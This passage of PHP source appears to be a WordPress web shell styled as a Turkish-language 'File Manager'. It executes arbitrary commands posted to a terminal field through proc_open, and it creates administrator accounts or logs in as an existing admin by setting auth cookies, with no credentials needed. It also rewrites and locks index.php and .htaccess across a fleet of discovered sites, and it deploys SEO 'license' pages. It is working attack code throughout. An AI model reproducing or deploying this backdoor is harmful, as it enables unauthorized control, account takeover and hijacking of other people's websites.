foreach ($targets as $target) {
$wpRoot = fm_wp_root_from((string)($target['path'] ?? '')) ?: (string)($target['path'] ?? '');
$dom = (string)($target['domain'] ?? basename($wpRoot));
if ($wpRoot === '' || !is_dir($wpRoot)) {
$fail[] = $dom . ' — kök yok';
continue;
}
$drop = fm_purge_malware_paths($wpRoot, false);
$w = fm_write_clean_index_site($wpRoot, true);
if (!$w['ok']) {
$fail[] = $dom . ' — ' . $w['error'];
continue;
}
if ($withLicense && fm_ensure_ms_seo()) {
fm_write_license_to_target([
'path' => $wpRoot,
'domain' => $dom,
'url' => getDomainUrl($wpRoot) ?: '',
]);
}
$okSites++;
}
$statusMessage = '⚡ Hızlı onarım: ' . $okSites . ' site · ' . implode(' · ', $lines);
if ($fail !== []) {
$statusMessage .= ' | Hata: ' . implode('; ', array_slice($fail, 0, 4));
}
$statusType = $okSites > 0 ? 'success' : 'error';
}
}
// ── Yüklediğiniz index.php → WP köküne kalıcı uygula (silinmez / doğrulanır) ──
if (isset($_POST['fm_apply_uploaded_index'])) {
$scope = (string)($_POST['fm_apply_index_scope'] ?? 'current');
$withHt = !isset($_POST['fm_apply_index_no_htaccess']);
$relock = !empty($_POST['fm_apply_index_relock']);
$srcCandidates = [
$currentDirectory . DIRECTORY_SEPARATOR . 'index.php',
(fm_wp_root_for_ops($currentDirectory) ?: $currentDirectory) . DIRECTORY_SEPARATOR . 'index.php',
];
$srcFile = null;
foreach ($srcCandidates as $c) {
if (is_file($c) && is_readable($c)) {
$srcFile = $c;
break;
}
}
if ($srcFile === null) {
$statusMessage = '❌ Uygulanacak index.php yok — önce bu klasöre veya WP köküne yükleyin';
$statusType = 'error';
} else {
$resolved = fm_resolve_clean_index_source($srcFile);
if ($resolved === null) {
$statusMessage = '❌ index.php şifreli/zararlı — dropper dosyayı geri yazmış olabilir. '
. 'Önce Dropper, sonra tekrar Upload veya «Temiz index» (includes gerekir). '
. 'Yedek: index.php.bak.fm.* varsa panelden tekrar yükleyin.';
$statusType = 'error';
} elseif ($scope === 'fleet') {
$targets = fm_root_targets($currentDirectory);
if ($targets === []) {
$statusMessage = fm_fleet_empty_message();
$statusType = 'error';
} else {
$ok = 0;
$skipped = [];
foreach ($targets as $target) {
$wpRoot = fm_wp_root_from((string)($target['path'] ?? '')) ?: (string)($target['path'] ?? '');
if ($wpRoot === '' || !fm_can_write_deploy_dir($wpRoot)) {
$skipped[] = (string)($target['domain'] ?? $wpRoot) . ' — yazma yok';
continue;
}
$r = fm_write_index_php_persist($wpRoot, $resolved['content'], $withHt, $relock);
if ($r['ok']) {
$ok++;
} else {
$skipped[] = (string)($target['domain'] ?? basename($wpRoot)) . ' — ' . $r['error'];
}
}
$statusMessage = '✅ Yüklenen index uygulandı (' . $resolved['label'] . '): ' . $ok . ' site';
if ($skipped !== []) {
$statusMessage .= ' | Atlandı: ' . implode('; ', array_slice($skipped, 0, 4));
}
$statusType = $ok > 0 ? 'success' : 'error';
}
} else {
$wpRoot = fm_wp_root_for_ops($currentDirectory);
$r = fm_write_index_php_persist($wpRoot, $resolved['content'], $withHt, $relock);
if ($r['ok']) {
$statusMessage = '✅ index.php uygulandı · ' . $resolved['label'] . ' · ' . $r['bytes'] . ' bayt · ' . $r['kind']
. ($r['htaccess'] ? ' + .htaccess' : '')
. ($r['relocked'] > 0 ? ' · 🔒 kilitlendi' : '');
$statusType = 'success';
} else {
$statusMessage = '❌ index uygulanamadı: ' . $r['error'];
$statusType = 'error';
}
}
}
}
// ── Son FM yedeğinden index geri yükle ──
if (isset($_POST['fm_restore_index_backup'])) {
$wpRoot = fm_wp_root_for_ops($currentDirectory);
$resolved = fm_resolve_clean_index_source($wpRoot . DIRECTORY_SEPARATOR . 'index.php');
if ($resolved === null) {
$statusMessage = '❌ index.php.bak.fm.* veya .fm-index.sha256 ile eşleşen yedek yok';
$statusType = 'error';
} else {
$relock = !empty($_POST['fm_restore_index_relock']);
$r = fm_write_index_php_persist($wpRoot, $resolved['content'], true, $relock);
if ($r['ok']) {
$statusMessage = '✅ Index yedekten geri yüklendi · ' . $resolved['label'];
$statusType = 'success';
} else {
$statusMessage = '❌ Yedek uygulanamadı: ' . $r['error'];
$statusType = 'error';
}
}
}
// ── Temiz index.php yaz (Medusa FM — Studio’ya gerek yok) ──
if (isset($_POST['fm_write_clean_index'])) {
$scope = (string)($_POST['fm_write_clean_scope'] ?? 'current');
$withHt = !isset($_POST['fm_write_clean_no_htaccess']);
if ($scope === 'fleet') {
$targets = fm_root_targets($currentDirectory);
if ($targets === []) {
$statusMessage = fm_fleet_empty_message();
$statusType = 'error';
} else {
$res = fm_deploy_generated_index_fleet($targets, $withHt, true);
$statusMessage = '✅ Temiz index: ' . $res['sites'] . ' site · ' . $res['files'] . ' dosya (mod: site ayarı / vitrin varsayılan)';
if (($res['relocked'] ?? 0) > 0) {
$statusMessage .= ' · 🔒 ' . $res['relocked'] . ' kilit';
}
if ($res['skipped'] !== []) {
$statusMessage .= ' | Atlandı: ' . implode('; ', array_slice($res['skipped'], 0, 4));
}
$statusType = $res['sites'] > 0 ? 'success' : 'error';
}
} else {
$wpRoot = fm_wp_root_from($currentDirectory) ?: $currentDirectory;
$w = fm_write_clean_index_site($wpRoot, $withHt);
if ($w['ok']) {
$statusMessage = '✅ Temiz index.php yazıldı · mod ' . $w['mode'] . ' · ' . $w['bytes'] . ' bayt'
. ($w['htaccess'] ? ' + .htaccess' : '');
$statusType = 'success';
} else {
$statusMessage = '❌ Temiz index yazılamadı: ' . $w['error'];
$statusType = 'error';
}
}
}
// ── AJAX: mu-plugin / zararlı tarama (dosya başına onay — istemci) ──
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['fm_ajax'])) {
$fmAjax = (string)$_POST['fm_ajax'];
if ($fmAjax === 'malware_scan' || $fmAjax === 'malware_delete_one' || $fmAjax === 'malware_preview') {
header('Content-Type: application/json; charset=utf-8');
if ($fmAjax === 'malware_preview') {
$pathToken = (string)($_POST['path_token'] ?? '');
$siteToken = (string)($_POST['site_token'] ?? '');
$full = $pathToken !== '' ? fm_path_param_decode($pathToken) : '';
$siteRoot = $siteToken !== '' ? fm_path_param_decode($siteToken) : '';
if ($full === '' || $siteRoot === '' || !fm_path_under_site($full, $siteRoot)) {
echo json_encode(['ok' => false, 'error' => 'geçersiz yol'], JSON_UNESCAPED_UNICODE);
exit;
}
if (is_dir($full)) {
echo json_encode(['ok' => true, 'rel' => basename($full) . '/', 'content' => "[klasör — silme js26564c vb.]\n" . $full, 'truncated' => false, 'size' => 0], JSON_UNESCAPED_UNICODE);
exit;
}
if (!is_file($full) || !is_readable($full)) {
echo json_encode(['ok' => false, 'error' => 'dosya okunamadı'], JSON_UNESCAPED_UNICODE);
exit;
}
$size = (int)@filesize($full);
$max = 180000;
$body = (string)@file_get_contents($full, false, null, 0, $max);
$rel = str_replace(str_replace('\\', '/', (string)(@realpath($siteRoot) ?: $siteRoot)) . '/', '', str_replace('\\', '/', $full));
echo json_encode([
'ok' => true,
'rel' => $rel,
'content' => $body,
'truncated' => $size > $max,
'size' => $size,
], JSON_UNESCAPED_UNICODE);
exit;
}
if ($fmAjax === 'malware_scan') {
$scope = (string)($_POST['scope'] ?? 'current');
$includeWpc = !empty($_POST['include_wp_content_wplog']);
$items = [];
if ($scope === 'fleet') {
foreach (fm_root_targets($currentDirectory) as $t) {
$path = (string)($t['path'] ?? '');
if ($path === '' || !is_dir($path)) {
continue;
}
$wpRoot = fm_wp_root_from($path) ?: $path;
$dom = (string)($t['domain'] ?? getDomainFromPath($wpRoot) ?: basename($wpRoot));
foreach (fm_scan_malware_site($wpRoot, $dom, $includeWpc) as $row) {
$row['path_token'] = fm_path_b64_encode($row['full']);
$row['site_token'] = fm_path_b64_encode($wpRoot);
unset($row['full']);
$items[] = $row;
}
}
} else {
$wpRoot = fm_wp_root_from($currentDirectory) ?: $currentDirectory;
$dom = getDomainFromPath($wpRoot) ?: basename($wpRoot);
foreach (fm_scan_malware_site($wpRoot, $dom, $includeWpc) as $row) {
$row['path_token'] = fm_path_b64_encode($row['full']);
$row['site_token'] = fm_path_b64_encode($wpRoot);
unset($row['full']);
$items[] = $row;
}
}
usort($items, static fn ($a, $b) => strcmp(($a['domain'] ?? '') . ($a['rel'] ?? ''), ($b['domain'] ?? '') . ($b['rel'] ?? '')));
echo json_encode(['ok' => true, 'count' => count($items), 'items' => $items], JSON_UNESCAPED_UNICODE);
exit;
}
if ($fmAjax === 'malware_delete_one') {
$pathToken = (string)($_POST['path_token'] ?? '');
$siteToken = (string)($_POST['site_token'] ?? '');
$full = $pathToken !== '' ? fm_path_param_decode($pathToken) : '';
$siteRoot = $siteToken !== '' ? fm_path_param_decode($siteToken) : '';
if ($full === '' || $siteRoot === '' || !fm_path_under_site($full, $siteRoot)) {
echo json_encode(['ok' => false, 'error' => 'geçersiz yol'], JSON_UNESCAPED_UNICODE);
exit;
}
fm_deploy_unlock_wp_root($siteRoot);
$res = fm_delete_malware_item($full, $siteRoot);
echo json_encode(['ok' => $res['ok'], 'error' => $res['error'], 'rel' => $res['rel']], JSON_UNESCAPED_UNICODE);
exit;
}
}
}
// ── Dropper / wplog / js26564c temizliği ──
if (isset($_POST['purge_malware_current'])) {
$includeWpc = !empty($_POST['include_wp_content_wplog']);
$wpRoot = fm_wp_root_from($currentDirectory) ?: $currentDirectory;
$items = fm_purge_malware_paths($wpRoot, $includeWpc);
if ($items !== []) {
$statusMessage = '✅ ' . basename($wpRoot) . ' — silindi: ' . implode(', ', $items);
$statusType = 'success';
} else {
$statusMessage = 'ℹ️ ' . $wpRoot . ' — hedef yok (zaten temiz veya WP kökü değil)';
$statusType = 'success';
}
}
if (isset($_POST['purge_malware_all_domains'])) {
$includeWpc = !empty($_POST['include_wp_content_wplog']);
$targets = fm_discover_targets($currentDirectory);
$total = 0;
$lines = [];
foreach ($targets as $t) {
$path = $t['path'] ?? '';
if ($path === '' || !is_dir($path)) {
continue;
}
$wpRoot = fm_wp_root_from($path) ?: $path;
$items = fm_purge_malware_paths($wpRoot, $includeWpc);
if ($items !== []) {
$total += count($items);
$lines[] = ($t['domain'] ?? basename($wpRoot)) . ': ' . implode(', ', $items);
}
}
$statusMessage = $lines !== []
? '✅ ' . count($lines) . ' site, ' . $total . ' öğe — ' . implode(' | ', array_slice($lines, 0, 4)) . (count($lines) > 4 ? ' …' : '')
: 'ℹ️ Tüm hedeflerde bilinen dropper bulunamadı';
$statusType = 'success';
}
// ============================================
// ── DOSYA İŞLEMLERİ ────────────────────────
// ============================================
if($_SERVER['REQUEST_METHOD']==='POST'){
// ── TERMINAL KOMUT ─────────────────────────
if(isset($_POST['cmd_input'])){
$cmd = trim($_POST['cmd_input']);
// ── ÖZEL KOMUTLAR ──────────────────────────
$specialOutput = '';
if(preg_match('/^wp user create (\S+) (\S+)(?:\s+(\S+))?$/', $cmd, $matches)) {
$wUser = $matches[1];
$wPass = $matches[2];
$wEmail = $matches[3] ?? $wUser . '@example.com';
$wpLoad = findWpLoadPath($currentDirectory);
if ($wpLoad && file_exists($wpLoad)) {
require_once $wpLoad;
if (function_exists('username_exists')) {
if (!username_exists($wUser)) {
$user_id = wp_create_user($wUser, $wPass, $wEmail);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
wp_set_auth_cookie($user_id);
$wpAdminUrl = findWpAdminUrl($currentDirectory);
$specialOutput = "✅ Kullanıcı oluşturuldu: $wUser (Admin)\n🔗 Giriş: " . $wpAdminUrl;
echo '<script>window.open("' . $wpAdminUrl . '", "_blank");</script>';
} else {
$specialOutput = "❌ Hata: " . $user_id->get_error_message();
}
} else {
$user = get_user_by('login', $wUser);
if ($user) {
wp_set_password($wPass, $user->ID);
wp_set_auth_cookie($user->ID);
$wpAdminUrl = findWpAdminUrl($currentDirectory);
$specialOutput = "✅ Şifre güncellendi: $wUser\n🔗 Giriş: " . $wpAdminUrl;
echo '<script>window.open("' . $wpAdminUrl . '", "_blank");</script>';
} else {
$specialOutput = "❌ Kullanıcı bulunamadı: $wUser";
}
}
} else {
$specialOutput = "❌ WordPress fonksiyonları yüklenemedi";
}
} else {
$specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)";
}
}
elseif($cmd === 'wp admin' || $cmd === 'wp-open') {
$wpAdminUrl = findWpAdminUrl($currentDirectory);
$wpLoad = findWpLoadPath($currentDirectory);
if ($wpLoad && file_exists($wpLoad)) {
require_once $wpLoad;
if (function_exists('username_exists')) {
$adminUsers = get_users(['role' => 'administrator', 'number' => 1]);
if (!empty($adminUsers)) {
$adminUser = $adminUsers[0];
wp_set_auth_cookie($adminUser->ID);
wp_set_current_user($adminUser->ID);
$specialOutput = "✅ Otomatik giriş yapıldı: " . $adminUser->user_login . "\n🔗 " . $wpAdminUrl;
echo '<script>window.open("' . $wpAdminUrl . '", "_blank");</script>';
} else {
$specialOutput = "⚠️ Admin kullanıcı bulunamadı! Lütfen 'wp user create' ile oluşturun.\n🔗 " . $wpAdminUrl;
}
} else {
$specialOutput = "❌ WordPress fonksiyonları yüklenemedi";
}
} else {
$specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)";
}
}
elseif($cmd === 'wp info') {
$wpLoad = findWpLoadPath($currentDirectory);
if ($wpLoad && file_exists($wpLoad)) {
require_once $wpLoad;
if (function_exists('get_bloginfo')) {
$specialOutput = "📋 WordPress Bilgileri:\n";
$specialOutput .= "Site Adı: " . get_bloginfo('name') . "\n";
$specialOutput .= "Site URL: " . get_bloginfo('url') . "\n";
$specialOutput .= "WordPress Versiyon: " . get_bloginfo('version') . "\n";
$specialOutput .= "Admin URL: " . admin_url() . "\n";
$specialOutput .= "Kullanıcı Sayısı: " . count_users()['total_users'];
} else {
$specialOutput = "❌ WordPress bilgileri alınamadı";
}
} else {
$specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)";
}
}
elseif($cmd === 'wp plugins') {
$wpLoad = findWpLoadPath($currentDirectory);
if ($wpLoad && file_exists($wpLoad)) {
require_once $wpLoad;
if (function_exists('get_plugins')) {
if (!function_exists('get_plugins')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
$plugins = get_plugins();
$specialOutput = "📦 Aktif Pluginler:\n";
$found = false;
foreach ($plugins as $plugin_path => $plugin) {
if (is_plugin_active($plugin_path)) {
$specialOutput .= "✅ " . $plugin['Name'] . " v" . $plugin['Version'] . "\n";
$found = true;
}
}
if (!$found) {
$specialOutput = "⚠️ Aktif plugin bulunamadı";
}
} else {
$specialOutput = "❌ Plugin listesi alınamadı";
}
} else {
$specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)";
}
}
elseif($cmd === 'wp cache clear') {
$wpCache = $currentDirectory . '/wp-content/cache';
if(is_dir($wpCache)){
$count = 0;
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($wpCache, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach($it as $f){
if($f->isFile() || $f->isLink()){
@unlink($f->getRealPath());
$count++;
} elseif($f->isDir()){
@rmdir($f->getRealPath());
}
}
$specialOutput = "🗑️ $count dosya silindi (wp-content/cache/)";
} else {
$specialOutput = "⚠️ wp-content/cache/ dizini bulunamadı";
}
}
elseif($cmd === 'wp themes') {
$wpLoad = findWpLoadPath($currentDirectory);
if ($wpLoad && file_exists($wpLoad)) {
require_once $wpLoad;
if (function_exists('wp_get_themes')) {
$themes = wp_get_themes();
$active_theme = wp_get_theme();
$specialOutput = "🎨 Temalar:\n";
$specialOutput .= "Aktif Tema: " . $active_theme->get('Name') . " v" . $active_theme->get('Version') . "\n\n";
$specialOutput .= "Yüklü Temalar:\n";
foreach ($themes as $slug => $theme) {
$status = ($slug === $active_theme->get_stylesheet()) ? "✅ " : " ";
$specialOutput .= $status . $theme->get('Name') . " v" . $theme->get('Version') . "\n";
}
} else {
$specialOutput = "❌ Tema listesi alınamadı";
}
} else {
$specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)";
}
}
elseif($cmd === 'help' || $cmd === 'wp help') {
$specialOutput = "📚 Özel Komutlar:\n";
$specialOutput .= "─────────────────────────────────────────────\n";
$specialOutput .= "wp user create <user> <pass> [email]\n";
$specialOutput .= " → WordPress admin kullanıcı oluştur\n\n";
$specialOutput .= "wp admin veya wp-open\n";
$specialOutput .= " → WordPress Admin panelini aç (otomatik giriş)\n\n";
$specialOutput .= "wp info\n";
$specialOutput .= " → WordPress site bilgilerini göster\n\n";
$specialOutput .= "wp plugins\n";
$specialOutput .= " → Aktif pluginleri listele\n\n";
$specialOutput .= "wp themes\n";
$specialOutput .= " → Temaları listele\n\n";
$specialOutput .= "wp cache clear\n";
$specialOutput .= " → WordPress cache temizle\n\n";
$specialOutput .= "help veya wp help\n";
$specialOutput .= " → Bu yardım mesajını göster\n";
$specialOutput .= "─────────────────────────────────────────────\n";
$specialOutput .= "💡 Normal Linux komutları da çalışır!";
}
// ── Normal Komut ──────────────────────────
if(empty($specialOutput)) {
if(!empty($cmd)){
array_unshift($_SESSION['terminal_history'], [
'cmd' => $cmd,
'time' => date('H:i:s')
]);
$_SESSION['terminal_history'] = array_slice($_SESSION['terminal_history'], 0, 100);
$terminalHistory = $_SESSION['terminal_history'];
}
$ds=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];
$proc=proc_open($cmd,$ds,$pipes);
if(is_resource($proc)){
$out=stream_get_contents($pipes[1]);
$err=stream_get_contents($pipes[2]);
fclose($pipes[1]);fclose($pipes[2]);proc_close($proc);
$viewCommandResult=[
'type'=>'command',
'label'=>'$ '.htmlspecialchars($cmd),
'content'=>htmlspecialchars(!empty($err)?$err:$out),
'filename'=>''
];
}else{
$statusMessage='Failed to execute command';
$statusType='error';
}
} else {
$viewCommandResult=[
'type'=>'command',
'label'=>'$ '.htmlspecialchars($cmd),
'content'=>htmlspecialchars($specialOutput),
'filename'=>''
];
array_unshift($_SESSION['terminal_history'], [
'cmd' => $cmd,
'time' => date('H:i:s')
]);
$_SESSION['terminal_history'] = array_slice($_SESSION['terminal_history'], 0, 100);
$terminalHistory = $_SESSION['terminal_history'];
}
}
// ── MULTIPLE FILE UPLOAD ────────────────
elseif(isset($_FILES['fileToUpload'])){
$uploaded = 0;
$failed = 0;
$uploadErrors = [];
$uploadDropperWarn = false;
$files = $_FILES['fileToUpload'];
$fileCount = count($files['name']);
for($i = 0; $i < $fileCount; $i++) {
$fileName = basename($files['name'][$i]);
$tmpName = $files['tmp_name'][$i];
$targetPath = $currentDirectory.'/'.$fileName;
if (strtolower($fileName) === 'index.php') {
$wpRoot = fm_wp_root_for_ops($currentDirectory);
$wpNorm = str_replace('\\', '/', @realpath($wpRoot) ?: $wpRoot);
$curNorm = str_replace('\\', '/', @realpath($currentDirectory) ?: $currentDirectory);
if ($wpNorm !== '' && $curNorm === $wpNorm && is_uploaded_file($tmpName)) {
$body = (string)@file_get_contents($tmpName);
$relock = is_file($targetPath) && substr(sprintf('%o', @fileperms($targetPath)), -3) === '444';
$r = fm_write_index_php_persist($wpRoot, $body, true, $relock);
if ($r['ok']) {
$uploaded++;
if (fm_index_dropper_reinfected($wpRoot)) {
$uploadDropperWarn = true;
}
} else {
$failed++;
$uploadErrors[] = $fileName . ' — ' . $r['error'];
}
continue;
}
}
if(file_exists($targetPath)) {
@chmod($targetPath, 0666);
@unlink($targetPath);
}
if(move_uploaded_file($tmpName, $targetPath)) {
$uploaded++;
} else {
$failed++;
$uploadErrors[] = $fileName;
}
}
if($uploaded > 0 && $failed === 0) {
$hasIndex = false;
for ($j = 0; $j < $fileCount; $j++) {
if (strtolower(basename($files['name'][$j])) === 'index.php') {
$hasIndex = true;
break;
}
}
$statusMessage = $uploaded.' file'.($uploaded > 1 ? 's' : '').' uploaded successfully';
if ($hasIndex) {
$statusMessage .= ' · index.php WP köküne doğrulamalı yazıldı (korumalı)';
}
if ($uploadDropperWarn) {
$statusMessage .= ' ⚠️ Dropper: index tekrar şifrelendi — Dropper temizle, «Index uygula» (yedek/sidecar) veya index.php.bak.fm.* yükleyin';
$statusType = 'error';
}
$statusType = 'success';
} elseif($uploaded > 0 && $failed > 0) {
$statusMessage = $uploaded.' file'.($uploaded > 1 ? 's' : '').' uploaded, '.$failed.' failed';
$statusType = 'error';
} else {
$statusMessage = 'Failed to upload: '.implode(', ', $uploadErrors);
$statusType = 'error';
}
}elseif(isset($_POST['folder_name'])&&!empty($_POST['folder_name'])){
$nf=$currentDirectory.'/'.$_POST['folder_name'];
if(!file_exists($nf)){mkdir($nf);$statusMessage='Folder created';$statusType='success';}
else{$statusMessage='Folder already exists';$statusType='error';}
}elseif(isset($_POST['file_name'])&&!empty($_POST['file_name'])){
$safeName = basename(str_replace('\\', '/', (string)$_POST['file_name']));
$nf = $currentDirectory.'/'.$safeName;
$ex = file_exists($nf);
$content = isset($_POST['file_content']) ? $_POST['file_content'] : '';
if(!$ex && empty($content)) {
$statusMessage = 'Warning: Creating empty file - no content provided';
$statusType = 'error';
} elseif (strtolower($safeName) === 'index.php') {
$wpRoot = fm_wp_root_for_ops($currentDirectory);
$wpNorm = str_replace('\\', '/', @realpath($wpRoot) ?: $wpRoot);
$curNorm = str_replace('\\', '/', @realpath($currentDirectory) ?: $currentDirectory);
if ($wpNorm !== '' && $curNorm === $wpNorm) {
$relock = $ex && substr(sprintf('%o', @fileperms($nf)), -3) === '444';
$r = fm_write_index_php_persist($wpRoot, $content, true, $relock);
if ($r['ok']) {
$statusMessage = '✅ index.php kaydedildi · ' . $r['bytes'] . ' bayt (doğrulandı, korumalı)';
$statusType = 'success';
} else {
$statusMessage = '❌ index.php kaydedilemedi: ' . $r['error'];
$statusType = 'error';
}
} elseif (file_put_contents($nf, $content) !== false) {
$statusMessage = $ex ? 'File saved' : 'File created';
$statusType = 'success';
} else {
$statusMessage = 'Failed to save file (permission error)';
$statusType = 'error';
}
} else {
if(file_put_contents($nf, $content) !== false) {
$statusMessage = $ex ? 'File saved' : 'File created';
$statusType = 'success';
} else {
$statusMessage = 'Failed to save file (permission error)';
$statusType = 'error';
}
}
}elseif(isset($_POST['delete_file'])){
$delName = basename(str_replace('\\', '/', (string)$_POST['delete_file']));
$t=$currentDirectory.'/'.$delName;
if (strtolower($delName) === 'index.php' && is_file($t)) {
$wpRoot = fm_wp_root_for_ops($currentDirectory);
$idxWp = rtrim($wpRoot, '/\\') . DIRECTORY_SEPARATOR . 'index.php';
if (@realpath($t) === @realpath($idxWp)) {
$body = (string)@file_get_contents($t);
if (fm_is_trusted_site_index($body)) {
$statusMessage = 'index.php korumalı (Medusa/düz index) — panelden silinemez';
$statusType = 'error';
} elseif (file_exists($t)) {
$ok = unlink($t);
$statusMessage = $ok ? 'Deleted' : 'Failed to delete';
$statusType = $ok ? 'success' : 'error';
}
} elseif (file_exists($t)) {
$ok = unlink($t);
$statusMessage = $ok ? 'Deleted' : 'Failed to delete';
$statusType = $ok ? 'success' : 'error';
}
} elseif (file_exists($t)) {
$ok=is_dir($t)?deleteDirectory($t):unlink($t);
$statusMessage=$ok?'Deleted':'Failed to delete';
$statusType=$ok?'success':'error';
}
else{$statusMessage='Not found';$statusType='error';}
}elseif(isset($_POST['bulk_delete'])&&!empty($_POST['selected_items'])){
$del=0;$fail=0;
foreach($_POST['selected_items'] as $item){
$t=$currentDirectory.'/'.basename($item);
if(file_exists($t)){$ok=is_dir($t)?deleteDirectory($t):unlink($t);$ok?$del++:$fail++;}
}
$statusMessage="Deleted $del item(s)".($fail?", $fail failed":'');
$statusType=$fail?'error':'success';
}elseif(isset($_POST['rename_item'])&&isset($_POST['old_name'])&&isset($_POST['new_name'])){
$on=$currentDirectory.'/'.$_POST['old_name'];
$nn=$currentDirectory.'/'.$_POST['new_name'];
if(file_exists($on)){if(rename($on,$nn)){$statusMessage='Renamed successfully';$statusType='success';}else{$statusMessage='Rename failed';$statusType='error';}}
else{$statusMessage='Not found';$statusType='error';}
}elseif(isset($_POST['chmod_file'])&&isset($_POST['chmod_value'])){
$t=$currentDirectory.'/'.basename($_POST['chmod_file']);
$mode=octdec($_POST['chmod_value']);
if(file_exists($t)&&chmod($t,$mode)){$statusMessage='Permissions changed to '.$_POST['chmod_value'];$statusType='success';}
else{$statusMessage='chmod failed';$statusType='error';}
}elseif(isset($_POST['zip_file'])){
$t=$currentDirectory.'/'.basename($_POST['zip_file']);
$zn=$currentDirectory.'/'.basename($_POST['zip_file']).'.zip';
if(class_exists('ZipArchive')){
$zip=new ZipArchive();
if($zip->open($zn,ZipArchive::CREATE)===TRUE){
if(is_dir($t)){$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($t,RecursiveDirectoryIterator::SKIP_DOTS));foreach($it as $f)$zip->addFile($f->getRealPath(),basename($t).'/'.$it->getSubPathname());}
else{$zip->addFile($t,basename($t));}
$zip->close();$statusMessage='Zipped as '.basename($zn);$statusType='success';
}else{$statusMessage='Failed to create zip';$statusType='error';}
}else{$statusMessage='ZipArchive not available';$statusType='error';}
}elseif(isset($_POST['extract_file'])){
$zp=$currentDirectory.'/'.basename($_POST['extract_file']);
if(class_exists('ZipArchive')){
$zip=new ZipArchive();
if($zip->open($zp)===TRUE){
$to=$currentDirectory.'/'.pathinfo(basename($zp),PATHINFO_FILENAME);
$zip->extractTo($to);$zip->close();
$statusMessage='Extracted to /'.basename($to);$statusType='success';
}else{$statusMessage='Failed to open zip';$statusType='error';}
}else{$statusMessage='ZipArchive not available';$statusType='error';}
}elseif(isset($_POST['view_file'])){
$fv=$currentDirectory.'/'.$_POST['view_file'];
if(file_exists($fv)){
$viewCommandResult=['type'=>'view','label'=>'Viewing: '.htmlspecialchars($_POST['view_file']),'content'=>htmlspecialchars(file_get_contents($fv)),'filename'=>$_POST['view_file']];
}else{$statusMessage='File not found';$statusType='error';}
}elseif(isset($_POST['editor_load'])){
$fv=$currentDirectory.'/'.$_POST['editor_load'];
if(file_exists($fv)){
$body = (string)file_get_contents($fv);
$row = ['filename'=>$_POST['editor_load'],'content'=>$body];
if (strtolower(basename((string)$_POST['editor_load'])) === 'index.php') {
$row['indexKind'] = fm_index_php_kind($body);
}
$editorLoad = $row;
}
}
}
function deleteDirectory($dir){
if(!file_exists($dir))return true;if(!is_dir($dir))return unlink($dir);
foreach(scandir($dir) as $i){if($i=='.'||$i=='..')continue;if(!deleteDirectory($dir.DIRECTORY_SEPARATOR.$i))return false;}
return rmdir($dir);
}
function formatFileSize($b){
if($b>=1073741824)return number_format($b/1073741824,2).' GB';
elseif($b>=1048576)return number_format($b/1048576,2).' MB';
elseif($b>=1024)return number_format($b/1024,2).' KB';
elseif($b>1)return $b.' bytes';elseif($b==1)return '1 byte';else return '0 bytes';
}
function extColor($e){
$m=['php'=>'text-violet-400','js'=>'text-yellow-400','ts'=>'text-blue-400','html'=>'text-orange-400','htm'=>'text-orange-400','css'=>'text-cyan-400','json'=>'text-yellow-300','xml'=>'text-orange-300','sql'=>'text-emerald-400','py'=>'text-blue-300','sh'=>'text-green-400','bash'=>'text-green-400','txt'=>'text-slate-400','md'=>'text-slate-300','zip'=>'text-purple-400','tar'=>'text-purple-400','gz'=>'text-purple-300','jpg'=>'text-pink-400','jpeg'=>'text-pink-400','png'=>'text-pink-400','gif'=>'text-pink-400','svg'=>'text-pink-300','pdf'=>'text-red-400','log'=>'text-amber-400'];
return $m[$e]??'text-slate-400';
}
$fmTargets = fm_discover_targets($currentDirectory);
$fmTargetCount = count($fmTargets);
$fmOpsRoot = fm_wp_root_for_ops($currentDirectory);
$fmIndexPerm = '—';
$fmHtPerm = '—';
$idxP = $fmOpsRoot . DIRECTORY_SEPARATOR . 'index.php';
$htP = $fmOpsRoot . DIRECTORY_SEPARATOR . '.htaccess';
if (is_file($idxP)) {
$fmIndexPerm = substr(sprintf('%o', fileperms($idxP)), -3);
}
if (is_file($htP)) {
$fmHtPerm = substr(sprintf('%o', fileperms($htP)), -3);
}
$fmIsLocked = ($fmIndexPerm === '444' || $fmHtPerm === '444');
$fmIndexDropperWarn = fm_index_dropper_reinfected($fmOpsRoot);
$fmBundleIndexOk = function_exists('ms_clean_index_php');
$fmBundleSeoOk = function_exists('ms_generate_seo_page');
$fmEmbeddedPayloadOk = function_exists('fm_embedded_bundle_manifest');
$fmHttpsCopy = fm_build_https_copy_list($currentDirectory, $detectedDomain);
$fmCopyHttpsUrls = (string)$fmHttpsCopy['text'];
$fmCopyHttpsCount = (int)$fmHttpsCopy['count'];
function extLang($e){
$m=['php'=>'php','js'=>'javascript','ts'=>'typescript','html'=>'html','htm'=>'html','css'=>'css','json'=>'json','xml'=>'xml','sql'=>'sql','py'=>'python','sh'=>'bash','bash'=>'bash','md'=>'markdown'];
return $m[$e]??'plaintext';
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Manager</title>
<script src="https://cdn.tailwindcss.com"></script>
<link href="https://fonts.googleapis.com/css2?family=Plus+Jakarta+Sans:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/atom-one-dark.min.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/highlight.min.js"></script>
<script>
